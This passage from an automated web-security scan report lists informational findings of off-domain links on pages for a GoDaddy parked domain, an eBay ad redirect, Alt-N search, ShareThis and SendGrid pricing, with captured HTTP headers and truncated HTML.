                <area shape="rect" coords="420,35,500,52" alt="GoDaddy.com" href="http://www.godaddy.com?isc=gppt05C003&domain=powermta1.com"/>
                <area shape="poly" coords="23,70,190,70,190,94,95,94,95,130,23,130,23,70" alt="Domains" href="http://www.godaddy.com/domains/search.aspx?isc=gppt05C005&domain=powermta1.com"/>
                <area shape="rect" coords="24,130,495,174" alt="Get the domain you really want with a .CO!" href="http://www.godaddy.com/tlds/co-domain.aspx?isc=gppt05C036&domain=powermta1.com"/>
                <area shape="rect" coords="439,213,476,236" alt="Go" onclick="validateTLD();redirectToDomainSearch();" />
                <area shape="poly" coords="23,288,195,288,195,309,105,309,105,348,23,348,23,288" alt="Websites" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C010&domain=powermta1.com"/>
                <area shape="rect" coords="24,365,495,444" alt="Affordable web hosting" href="http://www.godaddy.com/Hosting/web-hosting-4gh.aspx?isc=gppt05C144&domain=powermta1.com"/>
                <area shape="rect" coords="18,454,498,534" alt="WebSite Tonight®" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C050&domain=powermta1.com"/>
                <area shape="rect" coords="19,538,498,613" alt="www.bobparsons.me" href="http://www.bobparsons.me?isc=gppt05C026&domain=powermta1.com"/>
                <area shape="poly" coords="23,626,320,626,320,658,105,658,105,686,23,686,23,626" alt="Everything in between" href="http://www.godaddy.com/Business/business-hosting.aspx?isc=gppt05C015&domain=powermta1.com"/>
                <area shape="rect" coords="18,739,498,816" alt="Dream Big!" href="http://www.godaddy.com/design/web-design.aspx?isc=gppt05C053&domain=powermta1.com"/>
                <area shape="rect" coords="18,826,498,903" alt="Quick Shopping Cart®" href="http://www.godaddy.com/ecommerce/shopping-cart.aspx?isc=gppt05C051&domain=powermta1.com"/>
            </map>
...[SNIP]...
in-top: 10px; float: left; margin-left: 20px; margin-right: 10px; width: 964px; text-align: center; font-size: 12px; background-color: rgb(243, 243, 243); padding-bottom: 5px; padding-top: 10px;">
           <img src="http://images-pw.secureserver.net/images/log_icann.png" style="position: relative; left: 635px;" />
           <a href="http://www.godaddy.com?isc=gppt05C022&domain=powermta1.com"><img src="http://images-pw.secureserver.net/images/img_footertext2.png" border="0"/></a>
...[SNIP]...
<br/>
           <a class="footerlink2" href="http://www.godaddy.com/domains/search.aspx?isc=gppt05C023&domain=powermta1.com">Domain names</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/Hosting/Legacy.aspx?isc=gppt05C023&domain=powermta1.com">Web hosting</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C023&domain=powermta1.com">Website builders</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C023&domain=powermta1.com">Email accounts</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/ssl/ssl-certificates.aspx?isc=gppt05C023&domain=powermta1.com">SSL Certificates</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/gdshop/ecommerce/shopping-cart.asp?isc=gppt05C023&domain=powermta1.com">eCommerce tools</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/gdshop/catalog.asp?isc=gppt05C023&domain=powermta1.com">See product catalog</a>
...[SNIP]...
<br/>
           <a href="http://videos.godaddy.com/super-bowl-commercials.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Go Daddy Super Bowl® Commercial</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/danica-media.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Danica Patrick</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/dale_video.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Dale Jr</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/girls.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Go Daddy Girls®</a>
...[SNIP]...
<br/>
           Copyright © 1999-2011 GoDaddy.com, Inc. All rights reserved. <a href="http://www.godaddy.com/agreements/ShowDoc.aspx?pageid=privacy_parkedpage" target="_blank">Privacy Policy</a>
...[SNIP]...

15.36. http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://powermta1.com
Path:	/wp-content/plugins/cforms/styling/sidebar-layout.css

Issue detail

The page was loaded from a URL containing a query string:

http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css?f389a660

The response contains the following links to other domains:

http://as.casalemedia.com/sd?s=95308&f=1
http://images-pw.secureserver.net/images/100YearsOfChevy.gif
http://images-pw.secureserver.net/images/ban_auctions.png
http://images-pw.secureserver.net/images/ban_expired.png
http://images-pw.secureserver.net/images/btn_red_go.png
http://images-pw.secureserver.net/images/bul_blacksquare.png
http://images-pw.secureserver.net/images/bul_bluesquare.png
http://images-pw.secureserver.net/images/gd/49574_gdd_trialpay.gif
http://images-pw.secureserver.net/images/img_PPC_RedTag.png
http://images-pw.secureserver.net/images/img_Searchsidebar_dotCOh.gif
http://images-pw.secureserver.net/images/img_footertext2.png
http://images-pw.secureserver.net/images/log_icann.png
http://images-pw.secureserver.net/images/logo_gd.png
http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js
http://videos.godaddy.com/dale_video.aspx?isc=gppt05C024&domain=powermta1.com
http://videos.godaddy.com/danica-media.aspx?isc=gppt05C024&domain=powermta1.com
http://videos.godaddy.com/girls.aspx?isc=gppt05C024&domain=powermta1.com
http://videos.godaddy.com/super-bowl-commercials.aspx?isc=gppt05C024&domain=powermta1.com
http://www.bobparsons.me/?isc=gppt05C026&domain=powermta1.com
http://www.godaddy.com/?isc=GPPT05C001&domain=powermta1.com
http://www.godaddy.com/?isc=gppt05C003&domain=powermta1.com
http://www.godaddy.com/?isc=gppt05C004&domain=powermta1.com
http://www.godaddy.com/?isc=gppt05C022&domain=powermta1.com
http://www.godaddy.com/?logolinks=true&isc=GPPT05C001&domain=powermta1.com
http://www.godaddy.com/Business/business-hosting.aspx?isc=gppt05C015&domain=powermta1.com
http://www.godaddy.com/Business/business-hosting.aspx?isc=gppt05C018&domain=powermta1.com
http://www.godaddy.com/Hosting/Legacy.aspx?isc=gppt05C012&domain=powermta1.com
http://www.godaddy.com/Hosting/Legacy.aspx?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/Hosting/web-hosting-4gh.aspx?isc=gppt05C144&domain=powermta1.com
http://www.godaddy.com/agreements/ShowDoc.aspx?pageid=privacy_parkedpage
http://www.godaddy.com/design/web-design.aspx?isc=gppt05C053&domain=powermta1.com
http://www.godaddy.com/domains/search.aspx?isc=gppt05C005&domain=powermta1.com
http://www.godaddy.com/domains/search.aspx?isc=gppt05C006&domain=powermta1.com
http://www.godaddy.com/domains/search.aspx?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/ecommerce/shopping-cart.aspx?isc=gppt05C051&domain=powermta1.com
http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C017&domain=powermta1.com
http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C035&domain=powermta1.com
http://www.godaddy.com/gdshop/catalog.asp?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/gdshop/ecommerce/shopping-cart.asp?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/gdshop/hosting/dream_website.asp?isc=gppt05C013&domain=powermta1.com
http://www.godaddy.com/gdshop/myportal/domainren.asp?ci=13324&isc=GPPT05C030&domain=powermta1.com
http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C010&domain=powermta1.com
http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C011&domain=powermta1.com
http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C050&domain=powermta1.com
http://www.godaddy.com/ssl/ssl-certificates.aspx?isc=gppt05C016&domain=powermta1.com
http://www.godaddy.com/ssl/ssl-certificates.aspx?isc=gppt05C023&domain=powermta1.com
http://www.godaddy.com/tlds/co-domain.aspx?isc=gppt05C036&domain=powermta1.com
https://auctions.godaddy.com/?isc=gppt05C007&domain=powermta1.com
https://auctions.godaddy.com/trpItemListing.aspx?ci=13325&isc=GPPT05C031&domain=powermta1.com&domaintocheck=powermta1.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: fc=fcVal=9017447923497088384; domain=powermta1.com; expires=Fri, 01-Jan-2038 07:00:00 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 58457

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
   <title>powermta1.c
...[SNIP]...
</script>
<script language="javascript" src="http://as.casalemedia.com/sd?s=95308&f=1"></script>
...[SNIP]...
</script>
<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js"></script>
...[SNIP]...
<div style="margin-left:97px; padding-bottom:10px; "><img src="http://images-pw.secureserver.net/images/ban_expired.png" style="background-repeat: no-repeat; "/>
<div style="white-space:nowrap; position: absolute; left: 173px; top: 7px; font-size: 16px; color: #cc0000; font-weight: bold;">
...[SNIP]...
<div id="logo1"><a href="http://www.godaddy.com?isc=GPPT05C001&domain=powermta1.com"><img src="http://images-pw.secureserver.net/images/logo_gd.png" usemap="#lmap" border="0" alt="This web page is parked FREE, courtesy of GoDaddy.com" ></a>
...[SNIP]...
<map id="Map1" name="lMap">
                    <area shape="poly" coords="0,0,150,0,150,80,80,80,80,60,0,60,0,0" alt="GoDaddy.com" href="http://www.godaddy.com?isc=GPPT05C001&domain=powermta1.com"/>
                    <area shape="rect" coords="14,60,80,85" alt="GoDaddy.com" href="http://www.godaddy.com?logolinks=true&isc=GPPT05C001&domain=powermta1.com"/>
                </map>
...[SNIP]...
<div id="yourdomainbanner" >
            <a style="text-decoration: none; font-size: 16px; color: #cc0000; font-weight: bold;" href="http://www.godaddy.com/gdshop/myportal/domainren.asp?ci=13324&isc=GPPT05C030&domain=powermta1.com"><div>
...[SNIP]...
<div id="yourdomainbannerGObtn"><img src="http://images-pw.secureserver.net/images/btn_red_go.png" border="0" /></div>
...[SNIP]...
<div style="margin:5px;">
                       <img src="http://images-pw.secureserver.net/images/100YearsOfChevy.gif"style="border-color:#ffffff;"usemap="#ngMap"/>
                       <map id="Map1"name="ngMap">
...[SNIP]...
<div style="margin:5px;">
                       <img src="http://images-pw.secureserver.net/images/gd/49574_gdd_trialpay.gif" style="border-color:#ffffff;" usemap="#tpMap"/>
                           <map id="tpMap" name="tpMap">
...[SNIP]...
<div style="padding-bottom:5px; text-align:center; font-size: 14px; font-family: Arial, Helvetica, sans-serif;"><img src="http://images-pw.secureserver.net/images/ban_auctions.png" border="0" style="overflow: hidden;" usemap="#exMap"/>
    <map id="Map6" name="exMap">
                    <area shape="rect" coords="1,1,511,104" alt="Interested in this domain? Get it at the Go Daddy Auctions" href="https://auctions.godaddy.com/trpItemListing.aspx?ci=13325&isc=GPPT05C031&domain=powermta1.com&domaintocheck=powermta1.com"/>
</map>
...[SNIP]...
<div> Register <a href="http://www.godaddy.com/domains/search.aspx?isc=gppt05C006&domain=powermta1.com" >domain names</a>
...[SNIP]...
<div> <a href="https://auctions.godaddy.com?isc=gppt05C007&domain=powermta1.com" >Go Daddy Auctions®</a>
...[SNIP]...
<div> Build it yourself with one of our easy <a href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C011&domain=powermta1.com" >sitebuilders!</a>
...[SNIP]...
<div> Reliable <a href="http://www.godaddy.com/Hosting/Legacy.aspx?isc=gppt05C012&domain=powermta1.com" >website hosting</a>
...[SNIP]...
<div> Let our <a href="http://www.godaddy.com/gdshop/hosting/dream_website.asp?isc=gppt05C013&domain=powermta1.com" >Web pros</a>
...[SNIP]...
<div style="white-space:nowrap; position:absolute; text-align:center; margin-top: 379px; margin-left: 368px; "><a style="font-size: 18px; font-weight: bold; color: #fff; font-family: Arial,Helvetica; text-decoration:none;" href="http://www.godaddy.com/Hosting/web-hosting-4gh.aspx?isc=gppt05C144&domain=powermta1.com" >Starting at</a>
...[SNIP]...
<div style="white-space:nowrap; position:absolute; text-align:center; margin-top: 400px; margin-left: 374px; "><a style="font-size: 22px; font-weight: bold; color: #fff; font-family: Arial,Helvetica; text-decoration:none;" href="http://www.godaddy.com/Hosting/web-hosting-4gh.aspx?isc=gppt05C144&domain=powermta1.com" >$5.99<span style="font-size: 16px; color: #fff; font-family: Arial,Helvetica; text-decoration:none;">
...[SNIP]...
</div>


<img style="position:absolute; margin-top: 456px; margin-left:214px;" src="http://images-pw.secureserver.net/images/img_PPC_RedTag.png"/>
            <div style=" position:absolute; margin-top: 466px; margin-left: 261px; font-size: 11px">
<a href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C050&domain=powermta1.com" style="text-decoration:none; color:#000;">
<div style="height:16px;" class="PodTextHeading">
...[SNIP]...
<div style=" position:absolute; margin-top: 541px; margin-left: 207px; font-size: 11px">
            <a href="http://www.bobparsons.me?isc=gppt05C026&domain=powermta1.com" style="text-decoration:none; color:#000;"><div style="font-size:11px; color:#000; overflow:hidden; text-decoration:none; padding-top:13px; height:55px; cursor:pointer;">
...[SNIP]...
<div> <a href="http://www.godaddy.com/ssl/ssl-certificates.aspx?isc=gppt05C016&domain=powermta1.com" >SSL Certificates</a>
...[SNIP]...
<div> <a href="http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C017&domain=powermta1.com" >Fast, spam-free email</a>
...[SNIP]...
<div> <a href="http://www.godaddy.com/Business/business-hosting.aspx?isc=gppt05C018&domain=powermta1.com" >Marketing tools</a>
...[SNIP]...
<div style="display:none; white-space:nowrap; position:absolute; text-align:center; margin-top: 660px; margin-left: 360px; "><a style="font-size: 22px; font-weight: bold; color: #ff0000; font-family: Arial,Helvetica; text-decoration:none;" href="http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C035&domain=powermta1.com" >Starting at</a>
...[SNIP]...
<div style="display:none; white-space:nowrap; position:absolute; text-align:center; margin-top: 685px; margin-left: 366px; "><a style="font-size: 22px; font-weight: bold; color: #ff0000; font-family: Arial,Helvetica; text-decoration:none;" href="http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C035&domain=powermta1.com" > </a>
...[SNIP]...
<div style=" position:absolute; margin-top: 757px; margin-left: 226px; font-size: 11px">
<a href="http://www.godaddy.com/design/web-design.aspx?isc=gppt05C053&domain=powermta1.com" style="text-decoration:none; color:#000;">
<div style="height: 52px;" class="PodText">
...[SNIP]...
<div style=" position:absolute; margin-top: 838px; margin-left: 226px; font-size: 11px">
<a href="http://www.godaddy.com/ecommerce/shopping-cart.aspx?isc=gppt05C051&domain=powermta1.com" style="text-decoration:none; color:#000;">
<div style="height:16px;" class="PodTextHeading">
...[SNIP]...
<div><img class="rightclear" src="http://images-pw.secureserver.net/images/img_Searchsidebar_dotCOh.gif" usemap="#dsMap" /></div>
            <map id="Map1" name="dsMap">
                <area shape="rect" coords="15,5,158,67" alt="GoDaddy.com" href="http://www.godaddy.com?isc=gppt05C004&domain=powermta1.com"/>
                <area shape="rect" coords="420,35,500,52" alt="GoDaddy.com" href="http://www.godaddy.com?isc=gppt05C003&domain=powermta1.com"/>
                <area shape="poly" coords="23,70,190,70,190,94,95,94,95,130,23,130,23,70" alt="Domains" href="http://www.godaddy.com/domains/search.aspx?isc=gppt05C005&domain=powermta1.com"/>
                <area shape="rect" coords="24,130,495,174" alt="Get the domain you really want with a .CO!" href="http://www.godaddy.com/tlds/co-domain.aspx?isc=gppt05C036&domain=powermta1.com"/>
                <area shape="rect" coords="439,213,476,236" alt="Go" onclick="validateTLD();redirectToDomainSearch();" />
                <area shape="poly" coords="23,288,195,288,195,309,105,309,105,348,23,348,23,288" alt="Websites" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C010&domain=powermta1.com"/>
                <area shape="rect" coords="24,365,495,444" alt="Affordable web hosting" href="http://www.godaddy.com/Hosting/web-hosting-4gh.aspx?isc=gppt05C144&domain=powermta1.com"/>
                <area shape="rect" coords="18,454,498,534" alt="WebSite Tonight®" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C050&domain=powermta1.com"/>
                <area shape="rect" coords="19,538,498,613" alt="www.bobparsons.me" href="http://www.bobparsons.me?isc=gppt05C026&domain=powermta1.com"/>
                <area shape="poly" coords="23,626,320,626,320,658,105,658,105,686,23,686,23,626" alt="Everything in between" href="http://www.godaddy.com/Business/business-hosting.aspx?isc=gppt05C015&domain=powermta1.com"/>
                <area shape="rect" coords="18,739,498,816" alt="Dream Big!" href="http://www.godaddy.com/design/web-design.aspx?isc=gppt05C053&domain=powermta1.com"/>
                <area shape="rect" coords="18,826,498,903" alt="Quick Shopping Cart®" href="http://www.godaddy.com/ecommerce/shopping-cart.aspx?isc=gppt05C051&domain=powermta1.com"/>
            </map>
...[SNIP]...
in-top: 10px; float: left; margin-left: 20px; margin-right: 10px; width: 964px; text-align: center; font-size: 12px; background-color: rgb(243, 243, 243); padding-bottom: 5px; padding-top: 10px;">
           <img src="http://images-pw.secureserver.net/images/log_icann.png" style="position: relative; left: 635px;" />
           <a href="http://www.godaddy.com?isc=gppt05C022&domain=powermta1.com"><img src="http://images-pw.secureserver.net/images/img_footertext2.png" border="0"/></a>
...[SNIP]...
<br/>
           <a class="footerlink2" href="http://www.godaddy.com/domains/search.aspx?isc=gppt05C023&domain=powermta1.com">Domain names</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/Hosting/Legacy.aspx?isc=gppt05C023&domain=powermta1.com">Web hosting</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/hosting/website-builder.aspx?isc=gppt05C023&domain=powermta1.com">Website builders</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/email/email-hosting.aspx?isc=gppt05C023&domain=powermta1.com">Email accounts</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/ssl/ssl-certificates.aspx?isc=gppt05C023&domain=powermta1.com">SSL Certificates</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/gdshop/ecommerce/shopping-cart.asp?isc=gppt05C023&domain=powermta1.com">eCommerce tools</a><img src="http://images-pw.secureserver.net/images/bul_blacksquare.png" class="blackbullet"/><a class="footerlink2" href="http://www.godaddy.com/gdshop/catalog.asp?isc=gppt05C023&domain=powermta1.com">See product catalog</a>
...[SNIP]...
<br/>
           <a href="http://videos.godaddy.com/super-bowl-commercials.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Go Daddy Super Bowl® Commercial</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/danica-media.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Danica Patrick</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/dale_video.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Dale Jr</a><img src="http://images-pw.secureserver.net/images/bul_bluesquare.png" class="blackbullet"/><a href="http://videos.godaddy.com/girls.aspx?isc=gppt05C024&domain=powermta1.com" class="footerlink1">Go Daddy Girls®</a>
...[SNIP]...
<br/>
           Copyright © 1999-2011 GoDaddy.com, Inc. All rights reserved. <a href="http://www.godaddy.com/agreements/ShowDoc.aspx?pageid=privacy_parkedpage" target="_blank">Privacy Policy</a>
...[SNIP]...

15.37. http://rover.ebay.com/ar/1/711-53200-19255-108/1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The page was loaded from a URL containing a query string:

http://rover.ebay.com/ar/1/711-53200-19255-108/1?campid=5336830850&toolid=7115320019255108&customid=&mpt=206427233991&adtype=3&size=300x250&mpvc=

The response contains the following link to another domain:

http://img-cdn.mediaplex.com/0/711/53200/2011_DD_Generic_300x250.gif

Request

Response

15.38. http://search.altn.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://search.altn.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://search.altn.com/search?proxystylesheet=default_frontend&output=xml_no_dtd&site=nonpartner_collection&client=default_frontend&q=xss

The response contains the following link to another domain:

http://www.rim.com/

Request

GET /search?proxystylesheet=default_frontend&output=xml_no_dtd&site=nonpartner_collection&client=default_frontend&q=xss HTTP/1.1
Host: search.altn.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.338578957.1316207681.1316207681.1316207681.1; __utmb=1.4.10.1316207681; __utmc=1; __utmz=1.1316207681.1.1.utmgclid=CNC9_rqUoqsCFeUZQgodLn8qig|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.0 200 OK
Connection: Close
Cache-Control: private
Content-Type: text/html
Server: GWS/2.1
Date: Fri, 16 Sep 2011 16:14:06 GMT
Content-Length: 16949

<html><head>
<meta name="robots" content="NOINDEX,NOFOLLOW">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">

<title>Search Alt-N - Results:
xss
</title><style
...[SNIP]...
<div align="right" style="float:right">
Alt-N Technologies is a Subsidiary of Research In Motion<a href="http://www.rim.com/" target="_blank"><img src="http://www.altn.com/Images/Logos/RIM_small.png" alt="Research In Motion" border="0" title="Research In Motion">
...[SNIP]...

15.39. http://seg.sharethis.com/getSegment.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://seg.sharethis.com
Path:	/getSegment.php

Issue detail

The page was loaded from a URL containing a query string:

http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203

The response contains the following links to other domains:

http://cm.g.doubleclick.net/pixel?google_nid=sha&google_cm&stid=i-048AA00A35CF5E4EC53E553302EE710A
http://pixel.rubiconproject.com/tap.php?v=6432&rnd1316186960
http://segs.btrll.com/v1/tpix/-/-/-/-/-/sid.6544462&t=2&rnd1316186960
http://www.googleadservices.com/pagead/conversion.js

Request

GET /getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CqCKBE5ezzUzVT7FCnHuAg==

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Fri, 16 Sep 2011 15:29:20 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 4781

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
<img src="http://al1.sharethis.com/impr?campaign=adx-impr" alt=""/>
       <img src="http://cm.g.doubleclick.net/pixel?google_nid=sha&google_cm&stid=i-048AA00A35CF5E4EC53E553302EE710A" alt=""/>                <script type="text/javascript">
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>

           <img src="http://pixel.rubiconproject.com/tap.php?v=6432&rnd1316186960" alt="" width="1" height="1" />

           <img src="http://segs.btrll.com/v1/tpix/-/-/-/-/-/sid.6544462&t=2&rnd1316186960" alt=""/>

           <script type="text/javascript">
...[SNIP]...

15.40. http://sendgrid.com/pricing.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sendgrid.com
Path:	/pricing.html

Issue detail

The page was loaded from a URL containing a query string:

http://sendgrid.com/pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ

The response contains the following links to other domains:

http://ad.retargeter.com/seg?add=78586&t=2
http://d2gramajkvysi4.cloudfront.net/images/pricing/check.png?r=1309887400
http://d2gramajkvysi4.cloudfront.net/images/pricing/help-small.gif?r=1309887400
http://d2gramajkvysi4.cloudfront.net/images/social/rss.gif?r=1309887434
http://d2gramajkvysi4.cloudfront.net/images/social/twitter.gif?r=1309887433
http://d2gramajkvysi4.cloudfront.net/js/new/placeholders.gz.js?r=1309887505
http://edge.quantserve.com/quant.js
http://pixel.quantserve.com/pixel/p-de_F6qVUp9bug.gif?labels=_fp.event.Pricing+Page
http://static.sendgrid.com.s3.amazonaws.com/favicon.ico
http://twitter.com/SendGrid
http://twitter.com/sendgrid
http://www.facebook.com/SendGrid
https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js
https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js
https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/redmond/jquery-ui-1.8.6.custom.css
https://snapabug.appspot.com/statusImage?w=7fb75ba1-1d49-422a-826e-726147108e42
https://snapabug.appspot.com/statusImage?w=8d68486b-56f8-4224-9862-8ffa3106ecfb

Request

GET /pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ HTTP/1.1
Host: sendgrid.com
Proxy-Connection: keep-alive
Referer: http://landing.sendgrid.com/smtp-with-bullet-points/?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __pcid=9GFPhk:1; _mkto_trk=id:467-KXI-123&token:_mch-sendgrid.com-1316204836485-43033; __utma=139434414.731002222.1316204836.1316204836.1316204836.1; __utmb=139434414.2.10.1316204836; __utmc=139434414; __utmz=139434414.1316204836.1.1.utmgclid=CPWo1PSJoqsCFRRSgwod8HVslQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ptca=111872475.dUUOzxbhAvTn.1316222838.1316222838.1316222838.1; __ptv_0a6gTR=dUUOzxbhAvTn; __pti_0a6gTR=dUUOzxbhAvTn; __ptcc=1; __ptcs=111872475.1.10.1316222838; __ptcz=111872475.1316222838.1.0.ptmcsr=google|ptmcmd=organic|ptmccn=(organic)|ptmctr=smtp+server|ptmcex=9GFPhk.3Gp89g.1|ptmcx2=9GFPhk.3Gp89g.1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Fri, 16 Sep 2011 15:28:32 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 81426

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</title>
